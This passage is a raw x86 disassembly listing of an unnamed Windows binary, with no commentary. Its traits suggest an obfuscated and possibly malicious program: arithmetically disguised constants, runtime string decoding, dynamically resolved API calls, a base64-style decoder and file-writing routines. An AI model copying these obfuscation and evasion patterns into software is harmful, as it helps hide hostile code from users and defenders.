		jmp	loc_4447CF
; ---------------------------------------------------------------------------


loc_444677:				; CODE XREF: sub_444250+2E1j
		cmp	[ebp+var_30E50], 0
		jz	short loc_4446F7
		call	ds:dword_54CA70
		mov	[ebp+var_61DA4], eax
		push	offset asc_54F539 ; "\v"
		call	sub_43AAF7
		push	[ebp+var_61DA4]
		mov	edx, dword_54F0A4
		dec	edx
		push	edx
		push	eax
		lea	edx, [ebp+var_61EA3]
		push	edx
		call	ds:dword_50C928
		lea	eax, [ebp+var_30F54]
		push	eax
		movsx	eax, word_54F094
		sub	eax, 2
		push	eax
		mov	eax, dword_54F214
		sub	eax, 3
		push	eax
		push	1Ch
		movsx	eax, word_54F194
		dec	eax
		push	eax
		call	ds:dword_489A00
		lea	eax, [ebp+var_61EA3]
		push	eax
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_44602C
		add	esp, 1Ch
		jmp	short loc_444725
; ---------------------------------------------------------------------------


loc_4446F7:				; CODE XREF: sub_444250+42Ej
		mov	eax, dword_54F120
		dec	eax
		push	eax
		lea	eax, [ebp+var_30F54]
		push	eax
		call	sub_43CDF9
		push	offset byte_54F531
		call	sub_43AAF7
		push	eax
		lea	edx, [ebp+var_30F54]
		push	edx
		call	ds:dword_44602C
		add	esp, 14h


loc_444725:				; CODE XREF: sub_444250+4A5j
		mov	eax, dword_54F120
		sub	eax, 8
		push	eax
		push	80h
		push	2
		movsx	eax, word_54F09C
		add	eax, dword_54F1AC
		sub	eax, 8
		push	eax
		movsx	eax, word_54F1CC
		sub	eax, 9
		push	eax
		push	40000000h
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_54DB18
		mov	[ebp+var_61C9C], eax
		mov	eax, dword_54F22C
		movsx	edx, word_54F240
		add	eax, edx
		sub	eax, 0Fh
		push	eax
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C9C]
		call	ds:dword_54DF1C
		push	[ebp+var_61C9C]
		call	ds:dword_4CB948
		cmp	[ebp+var_30E50], 0
		jnz	short loc_4447CA
		push	5
		lea	eax, [ebp+var_30F54]
		push	eax
		call	ds:dword_449094
		movzx	eax, [ebp+var_61C9D]
		push	eax
		call	sub_43BD8A
		pop	ecx
		jmp	short loc_4447CF
; ---------------------------------------------------------------------------


loc_4447CA:				; CODE XREF: sub_444250+559j
		call	sub_43C501


loc_4447CF:				; CODE XREF: sub_444250+BEj
					; sub_444250:loc_44432Fj ...
		push	[ebp+var_30E48]
		call	ds:dword_4CB948
		cmp	[ebp+var_30F58], 0
		jz	short loc_4447ED
		push	[ebp+arg_0]
		call	ds:dword_44600C


loc_4447ED:				; CODE XREF: sub_444250+63j
					; sub_444250+592j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4447F2	proc near		; DATA XREF: sub_441843+190o
		push	ebp
		mov	ebp, esp


loc_4447F5:				; CODE XREF: sub_4447F2+41j
		movsx	eax, word_54F208
		movsx	edx, word_54F1CC
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		call	ds:dword_50C924
		pop	ecx
		mov	eax, dword_54F14C
		add	eax, dword_54F100
		sub	eax, 0Bh
		push	eax
		push	offset sub_43BA83
		mov	eax, dword_54F0A4
		sub	eax, 7
		push	eax
		call	ds:dword_447010
		jmp	short loc_4447F5
sub_4447F2	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444839	proc near		; CODE XREF: sub_444ED7+33Fp

var_10034	= byte ptr -10034h
var_10030	= dword	ptr -10030h
var_1002B	= byte ptr -1002Bh
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 10030h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_54F1C4
		sub	eax, 8
		cmp	ds:dword_447FC4, eax
		jz	loc_444AA3
		mov	eax, dword_54F140
		add	eax, dword_54F100
		sub	eax, 0Ah
		push	eax
		push	dword_54F180
		mov	eax, dword_54F174
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_447FC4
		mov	ebx, eax
		mov	eax, dword_54F20C
		movsx	edx, word_54F094
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_444AA3
		lea	eax, [ebp+var_18]
		push	eax
		movsx	eax, word_54F198
		add	eax, dword_54F1EC
		sub	eax, 4
		push	eax
		mov	eax, dword_54F100
		sub	eax, 9
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		movsx	eax, word_54F144
		movsx	edx, word_54F0B4
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_444A8F


loc_4448E6:				; CODE XREF: sub_444839+128j
					; sub_444839+15Ej
		movsx	eax, word_54F0C4
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		movsx	eax, word_54F0F8
		sub	eax, 4
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ebx, eax
		mov	eax, dword_54F0C0
		movsx	edx, word_54F1F0
		add	eax, edx
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_444A57
		lea	eax, [ebp+var_1C]
		push	eax
		movsx	eax, word_54F1A4
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, dword_54F1C8
		add	eax, dword_54F204
		sub	eax, 0Ah
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+3Ch]
		mov	ebx, eax
		mov	eax, dword_54F1F8
		add	eax, dword_54F0DC
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_4448E6


loc_444963:				; CODE XREF: sub_444839+219j
		mov	eax, dword_54F110
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, dword_54F120
		movsx	edx, word_54F0A8
		add	eax, edx
		sub	eax, 7
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ebx, eax
		mov	eax, dword_54F228
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_4448E6
		mov	eax, dword_54F1DC
		movsx	edx, word_54F198
		add	eax, edx
		dec	eax
		push	eax
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, dword_54F1F4
		sub	eax, 9
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+28h]
		mov	ebx, eax
		movsx	eax, word_54F208
		add	eax, dword_54F234
		mov	edx, dword_54F0E8
		movsx	ecx, word_54F128
		add	edx, ecx
		sub	edx, 6
		mov	[ebp+eax+var_10034], dl
		movsx	eax, word_54F1A4
		add	eax, dword_54F150
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	short loc_444A22
		lea	eax, [ebp+var_1002B]
		push	eax
		mov	eax, [ebp+var_10030]
		push	dword ptr [eax+4]
		call	sub_43BBFE
		add	esp, 8


loc_444A22:				; CODE XREF: sub_444839+1CFj
		lea	eax, [ebp+var_1002B]
		push	eax
		lea	esi, [ebp+var_2C]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_14]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		push	[ebp+var_4]
		call	sub_43E364
		add	esp, 28h
		jmp	loc_444963
; ---------------------------------------------------------------------------


loc_444A57:				; CODE XREF: sub_444839+E5j
		mov	eax, dword_54F114
		add	eax, dword_54F0AC
		sub	eax, 8
		cmp	[ebp+var_1C], eax
		jz	short loc_444A73
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444A73:				; CODE XREF: sub_444839+22Fj
		mov	eax, dword_54F098
		add	eax, dword_54F1D8
		sub	eax, 0Dh
		cmp	[ebp+var_18], eax
		jz	short loc_444A8F
		mov	eax, [ebp+var_18]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444A8F:				; CODE XREF: sub_444839+A7j
					; sub_444839+24Bj
		mov	eax, dword_54F0EC
		dec	eax
		cmp	[ebp+var_4], eax
		jz	short loc_444AA3
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444AA3:				; CODE XREF: sub_444839+20j
					; sub_444839+63j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444AA8	proc near		; CODE XREF: sub_43B535+103p
					; sub_444250+1E4p ...

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_40D		= byte ptr -40Dh
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= dword	ptr -400h
var_358		= dword	ptr -358h
var_34C		= dword	ptr -34Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 41Ch
		push	ebx
		push	esi
		push	edi
		movsx	esi, word_54F0A8
		jmp	short loc_444ADA
; ---------------------------------------------------------------------------


loc_444ABD:				; CODE XREF: sub_444AA8+3Ej
		movsx	edx, word_54F164
		movsx	ecx, word_54F190
		add	edx, ecx
		sub	edx, 8
		neg	edx
		mov	[ebp+esi*4+var_400], edx
		inc	esi


loc_444ADA:				; CODE XREF: sub_444AA8+13j
		mov	eax, dword_54F124
		add	eax, 0FEh
		cmp	esi, eax
		jb	short loc_444ABD
		mov	eax, dword_54F19C
		movsx	edx, word_54F244
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_404], eax
		mov	edi, dword_54F12C
		add	edi, 27h
		movsx	eax, word_54F0CC
		add	edi, eax
		jmp	short loc_444B2E
; ---------------------------------------------------------------------------


loc_444B13:				; CODE XREF: sub_444AA8+90j
		mov	edx, dword_54F234
		add	edx, dword_54F1F4
		sub	edx, 0Dh
		mov	ecx, edi
		add	ecx, edx
		mov	[ebp+edi*4+var_400], ecx
		inc	edi


loc_444B2E:				; CODE XREF: sub_444AA8+69j
		mov	eax, dword_54F238
		add	eax, 3Ah
		cmp	edi, eax
		jb	short loc_444B13
		mov	ebx, [ebp+arg_4]
		movsx	esi, word_54F244
		sub	esi, 7
		movsx	edi, word_54F0C4
		sub	edi, 6
		jmp	short loc_444B8A
; ---------------------------------------------------------------------------


loc_444B53:				; CODE XREF: sub_444AA8+F6j
		movsx	edx, word_54F104
		add	edx, 41h
		mov	ecx, edi
		add	ecx, edx
		mov	[ebp+ecx*4+var_400], edi
		mov	edx, dword_54F100
		add	edx, 58h
		mov	ecx, edi
		add	ecx, edx
		mov	edx, dword_54F1BC
		add	edx, 14h
		mov	eax, edi
		add	eax, edx
		mov	[ebp+ecx*4+var_400], eax
		inc	edi


loc_444B8A:				; CODE XREF: sub_444AA8+A9j
		movsx	eax, word_54F144
		movsx	edx, word_54F09C
		lea	eax, [eax+edx+10h]
		cmp	edi, eax
		jb	short loc_444B53
		mov	edx, dword_54F0C0
		mov	ecx, dword_54F0BC
		add	ecx, 3Fh
		mov	[ebp+edx*4+var_34C], ecx
		movsx	edx, word_54F198
		mov	ecx, dword_54F1EC
		add	ecx, 34h
		add	ecx, dword_54F1D0
		mov	[ebp+edx*4+var_358], ecx
		movsx	eax, word_54F128
		add	eax, dword_54F228
		sub	eax, 0Dh
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_408], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_444D3E
; ---------------------------------------------------------------------------


loc_444BFD:				; CODE XREF: sub_444AA8+2A1j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, [ebp+edx+var_400]
		mov	eax, dword_54F1B4
		sub	eax, 3
		neg	eax
		cmp	esi, eax
		jz	loc_444D3D
		mov	eax, [ebp+var_404]
		or	eax, eax
		jl	loc_444D37
		cmp	eax, 3
		jg	loc_444D37
		jmp	off_54F460[eax*4]


loc_444C3A:				; DATA XREF: .data:off_54F460o
		inc	[ebp+var_404]
		jmp	loc_444D37
; ---------------------------------------------------------------------------


loc_444C45:				; CODE XREF: sub_444AA8+18Bj
					; DATA XREF: .data:0054F464o
		mov	edx, [ebp+var_40C]
		movsx	ecx, word_54F240
		sub	ecx, 6
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_418], eax
		mov	edx, esi
		and	edx, 30h
		mov	ecx, dword_54F114
		add	ecx, dword_54F200
		sub	ecx, 2
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_418]
		or	edx, eax
		mov	[ebp+var_40D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		inc	[ebp+var_404]
		jmp	loc_444D37
; ---------------------------------------------------------------------------


loc_444C9B:				; CODE XREF: sub_444AA8+18Bj
					; DATA XREF: .data:0054F468o
		mov	edx, [ebp+var_40C]
		and	edx, 0Fh
		movsx	ecx, word_54F198
		mov	eax, dword_54F238
		lea	ecx, [ecx+eax+3]
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_41C], eax
		mov	edx, esi
		and	edx, 3Ch
		mov	ecx, dword_54F0E0
		add	ecx, dword_54F1FC
		sub	ecx, 4
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_41C]
		or	edx, eax
		mov	[ebp+var_40D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		inc	[ebp+var_404]
		jmp	short loc_444D37
; ---------------------------------------------------------------------------


loc_444CF7:				; CODE XREF: sub_444AA8+18Bj
					; DATA XREF: .data:0054F46Co
		mov	edx, [ebp+var_40C]
		and	edx, 3
		movsx	ecx, word_54F118
		add	ecx, dword_54F1A0
		sub	ecx, 0Ah
		mov	eax, edx
		shl	eax, cl
		mov	edx, eax
		or	edx, esi
		mov	[ebp+var_40D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		mov	eax, dword_54F108
		sub	eax, 8
		mov	[ebp+var_404], eax


loc_444D37:				; CODE XREF: sub_444AA8+17Cj
					; sub_444AA8+185j ...
		mov	[ebp+var_40C], esi


loc_444D3D:				; CODE XREF: sub_444AA8+16Ej
		inc	edi


loc_444D3E:				; CODE XREF: sub_444AA8+150j
		cmp	byte ptr [edi],	0
		jz	short loc_444D4F
		cmp	ebx, [ebp+var_408]
		jb	loc_444BFD


loc_444D4F:				; CODE XREF: sub_444AA8+299j
		cmp	byte ptr [edi],	0
		jnz	short loc_444D5B
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_444D63
; ---------------------------------------------------------------------------


loc_444D5B:				; CODE XREF: sub_444AA8+2AAj
		mov	eax, dword_54F1DC
		inc	eax
		neg	eax


loc_444D63:				; CODE XREF: sub_444AA8+2B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444AA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444D68	proc near		; CODE XREF: sub_444250+38Dp
					; sub_444250+41Ap

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_54F1F0
		sub	eax, 6
		push	eax
		push	80h
		push	4
		mov	eax, dword_54F178
		add	eax, dword_54F1B4
		sub	eax, 0Dh
		push	eax
		mov	eax, dword_54F120
		movsx	edx, word_54F1A8
		add	eax, edx
		sub	eax, 8
		push	eax
		push	40000000h
		push	offset dword_4CA230
		call	ds:dword_54DB18
		mov	edi, eax
		push	0
		mov	eax, dword_54F1B8
		add	eax, dword_54F0C0
		sub	eax, 6
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_54DF30
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_444DD7:				; CODE XREF: sub_444D68+74j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444DD7
		mov	esi, eax
		mov	ebx, dword_54F1E0
		sub	ebx, 4
		push	ebx
		lea	ebx, [ebp+var_4]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_54DF1C
		push	edi
		call	ds:dword_4CB948
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444D68	endp


; =============== S U B	R O U T	I N E =======================================



sub_444E05	proc near		; CODE XREF: sub_444ED7+16p
		push	edi
		push	offset byte_54F521
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F268, eax
		movsx	eax, word_54F190
		sub	eax, 8
		cmp	dword_54F268, eax
		jnz	short loc_444E46
		push	offset byte_54F511
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F268, eax


loc_444E46:				; CODE XREF: sub_444E05+28j
		push	offset dword_54F500
		call	sub_43AAF7
		push	eax
		push	dword_54F268
		call	ds:dword_4491AC
		mov	ds:dword_54DF34, eax
		push	offset word_54F4EE
		call	sub_43AAF7
		push	eax
		push	dword_54F268
		call	ds:dword_4491AC
		mov	ds:dword_44700C, eax
		push	offset word_54F4DE
		call	sub_43AAF7
		push	eax
		push	dword_54F268
		call	ds:dword_4491AC
		mov	ds:dword_54E044, eax
		push	offset byte_54F4CF
		call	sub_43AAF7
		push	eax
		push	dword_54F268
		call	ds:dword_4491AC
		mov	ds:dword_446048, eax
		push	offset byte_54F4BF
		call	sub_43AAF7
		add	esp, 14h
		push	eax
		push	dword_54F268
		call	ds:dword_4491AC
		mov	ds:dword_4CA224, eax
		pop	edi
		retn
sub_444E05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444ED7	proc near		; DATA XREF: sub_43B76D+Co
					; sub_43B76D+34o ...

var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 158h
		push	ebx
		push	esi
		push	edi
		call	sub_43BD23
		call	sub_43B309
		call	sub_444E05
		call	sub_443885
		call	sub_443E1B
		call	sub_4407D3
		call	sub_4408C5
		call	sub_43FB17
		call	sub_43CBF8
		call	sub_441272
		call	sub_440FB0
		mov	esi, eax


loc_444F1C:				; CODE XREF: sub_444ED7+ABj
		call	sub_43BC76
		mov	edx, eax
		mov	[ebp+var_144], dl
		movzx	eax, [ebp+var_144]
		mov	edx, dword_54F200
		add	edx, dword_54F248
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_444F58
		mov	eax, dword_54F090
		add	eax, dword_54F108
		sub	eax, 0Bh
		push	eax
		call	ds:dword_54C960


loc_444F58:				; CODE XREF: sub_444ED7+6Aj
		movzx	eax, [ebp+var_144]
		mov	edx, dword_54F16C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_444F84
		mov	eax, dword_54F10C
		add	eax, 5Ch
		add	eax, dword_54F0D8
		push	eax
		call	ds:dword_50C924
		pop	ecx
		jmp	short loc_444F1C
; ---------------------------------------------------------------------------


loc_444F84:				; CODE XREF: sub_444ED7+93j
		or	esi, esi
		jnz	loc_44506B
		push	offset dword_54F4B4
		call	sub_43AAF7
		mov	[ebp+var_150], eax
		push	offset word_54F4AA
		call	sub_43AAF7
		push	eax
		mov	edx, [ebp+var_150]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_50C928
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		mov	eax, dword_54F230
		movsx	edx, word_54F118
		add	eax, edx
		sub	eax, 9
		push	eax
		call	ds:dword_4CC908
		mov	edi, eax
		push	offset word_54F49E
		call	sub_43AAF7
		mov	[ebp+var_154], eax
		push	offset dword_54F494
		call	sub_43AAF7
		mov	edx, dword_54F234
		movsx	ecx, word_54F0F4
		add	edx, ecx
		sub	edx, 4
		push	edx
		push	eax
		mov	edx, [ebp+var_154]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_50C928
		add	esp, 2Ch
		lea	eax, [ebp+var_143]
		push	eax
		push	1
		push	dword_54F1DC
		call	ds:dword_4CC908
		mov	edi, eax
		mov	eax, dword_54F0C0
		sub	eax, 2
		cmp	edi, eax
		jnz	short loc_445052
		push	dword_54F224
		call	ds:dword_54C960


loc_445052:				; CODE XREF: sub_444ED7+16Dj
		mov	eax, dword_54F0E0
		add	eax, 0FFFFFFF1h
		movsx	edx, word_54F118
		add	eax, edx
		push	eax
		push	edi
		call	ds:dword_50C920


loc_44506B:				; CODE XREF: sub_444ED7+AFj
		movsx	eax, word_54F164
		dec	eax
		push	eax
		call	ds:dword_449598
		mov	ebx, eax
		lea	eax, sub_43CE6A
		mov	[ebp+var_40], eax
		mov	[ebp+var_28], 5
		movsx	eax, word_54F194
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 2
		mov	[ebp+var_30], eax
		movsx	eax, word_54F190
		sub	eax, 8
		mov	[ebp+var_2C], eax
		mov	[ebp+var_34], ebx
		mov	eax, dword_54F21C
		add	eax, dword_54F1C8
		sub	eax, 0Ch
		mov	[ebp+var_38], eax
		mov	[ebp+var_44], 3
		push	offset word_54F48A
		call	sub_43AAF7
		mov	[ebp+var_20], eax
		mov	eax, dword_54F0C0
		add	eax, dword_54F0B8
		sub	eax, 6
		mov	[ebp+var_3C], eax
		mov	eax, dword_54F16C
		sub	eax, 5
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	ds:dword_449090
		push	offset byte_5507C3
		call	sub_43AAF7
		mov	[ebp+var_158], eax
		push	offset dword_54F480
		call	sub_43AAF7
		mov	edx, dword_54F1F4
		sub	edx, 9
		push	edx
		push	ebx
		movsx	edx, word_54F1C4
		add	edx, dword_54F140
		sub	edx, 9
		push	edx
		mov	edx, dword_54F1B8
		sub	edx, 4
		push	edx
		mov	edx, dword_54F0D4
		movsx	ecx, word_54F210
		add	edx, ecx
		sub	edx, 0Ah
		push	edx
		mov	edx, dword_54F0A4
		mov	ecx, dword_54F0DC
		add	ecx, edx
		sub	ecx, 0Bh
		push	ecx
		mov	ecx, dword_54F1B0
		add	ecx, dword_54F1C8
		sub	ecx, 0Fh
		push	ecx
		add	edx, dword_54F124
		sub	edx, 9
		push	edx
		push	0CA0000h
		push	eax
		mov	edx, [ebp+var_158]
		push	edx
		movsx	edx, word_54F198
		add	edx, dword_54F20C
		sub	edx, 5
		push	edx
		call	ds:dword_4CB93C
		mov	ds:dword_4495C0, eax
		lea	eax, [ebp+var_148]
		push	eax
		push	ebx
		call	sub_43CC56
		mov	[ebp+var_14C], eax
		push	0
		call	sub_43ECD2
		add	esp, 18h
		mov	eax, [ebp+var_148]
		mov	ds:dword_4495C4, eax
		mov	eax, [ebp+var_14C]
		mov	ds:dword_4CC8FC, eax
		or	esi, esi
		jnz	short loc_4451F1
		call	sub_440B06
		mov	eax, dword_54F0E8
		add	eax, dword_54F23C
		dec	eax
		mov	ds:dword_50C92C, eax
		jmp	short loc_445202
; ---------------------------------------------------------------------------


loc_4451F1:				; CODE XREF: sub_444ED7+300j
		movsx	eax, word_54F1E8
		add	eax, 3A91h
		mov	ds:dword_50C92C, eax


loc_445202:				; CODE XREF: sub_444ED7+318j
		push	offset sub_443B7F
		call	sub_43CBAF
		pop	ecx
		or	esi, esi
		jnz	short loc_44523B
		call	sub_441843
		call	sub_444839
		call	sub_441B74
		call	sub_43C501
		jmp	short loc_44523B
; ---------------------------------------------------------------------------


loc_445227:				; CODE XREF: sub_444ED7+38Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_54CB00
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_447018


loc_44523B:				; CODE XREF: sub_444ED7+338j
					; sub_444ED7+34Ej
		movsx	eax, word_54F164
		dec	eax
		push	eax
		mov	eax, dword_54F1B8
		sub	eax, 4
		push	eax
		movsx	eax, word_54F240
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4CA548
		or	eax, eax
		jnz	short loc_445227
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_444ED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44526D	proc near		; CODE XREF: sub_43EA1B+28Cp

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_54F0B0
		add	eax, dword_54F17C
		sub	eax, 0Bh
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_441F06
		add	esp, 0Ch
		mov	[ebp+var_54], eax
		test	eax, eax
		jnz	loc_44550E
		push	offset dword_54F470
		call	sub_43DEC5
		pop	ecx
		push	eax
		call	ds:dword_44700C
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_8]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word_54F0C4
		movsx	edx, word_54F1C4
		add	eax, edx
		sub	eax, 0Eh
		cmp	ebx, eax
		jnz	loc_4454F2
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_550A38
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_54F094
		add	eax, dword_54F1D8
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_4454E9
		mov	[ebp+var_30], 2
		mov	eax, dword_54F21C
		movsx	edx, word_54F240
		add	eax, edx
		sub	eax, 0Ch
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_40]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_54F220
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4454E0
		mov	eax, dword_54F24C
		sub	eax, 9
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_550A48
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F20C
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4454D7
		inc	ds:dword_4495D0
		mov	eax, dword_54F160
		add	eax, dword_54F200
		sub	eax, 2
		cmp	ds:dword_4495D0, eax
		jb	short loc_4453E9
		mov	eax, dword_54F0F0
		add	eax, 3
		add	eax, dword_54F248
		mov	ds:dword_4495D0, eax
		push	[ebp+var_4]
		call	sub_43C284
		pop	ecx
		jmp	loc_4454CE
; ---------------------------------------------------------------------------


loc_4453E9:				; CODE XREF: sub_44526D+159j
		movsx	eax, word_54F194
		add	eax, dword_54F18C
		sub	eax, 2
		mov	[ebp+var_48], eax
		lea	eax, [ebp+var_50]
		push	eax
		push	ds:dword_44601C
		call	sub_4437E1
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_4C]
		push	eax
		push	ds:dword_447FD4
		call	sub_4437E1
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	ds:dword_4CB820
		call	sub_4437E1
		add	esp, 18h
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_44], 0
		jz	short loc_445456
		test	eax, eax
		jz	short loc_445456
		push	43h
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_3C]
		call	sub_44050C
		add	esp, 14h


loc_445456:				; CODE XREF: sub_44526D+1CCj
					; sub_44526D+1D0j
		cmp	[ebp+var_4C], 0
		jz	short loc_445479
		cmp	[ebp+var_38], 0
		jz	short loc_445479
		push	50h
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_4]
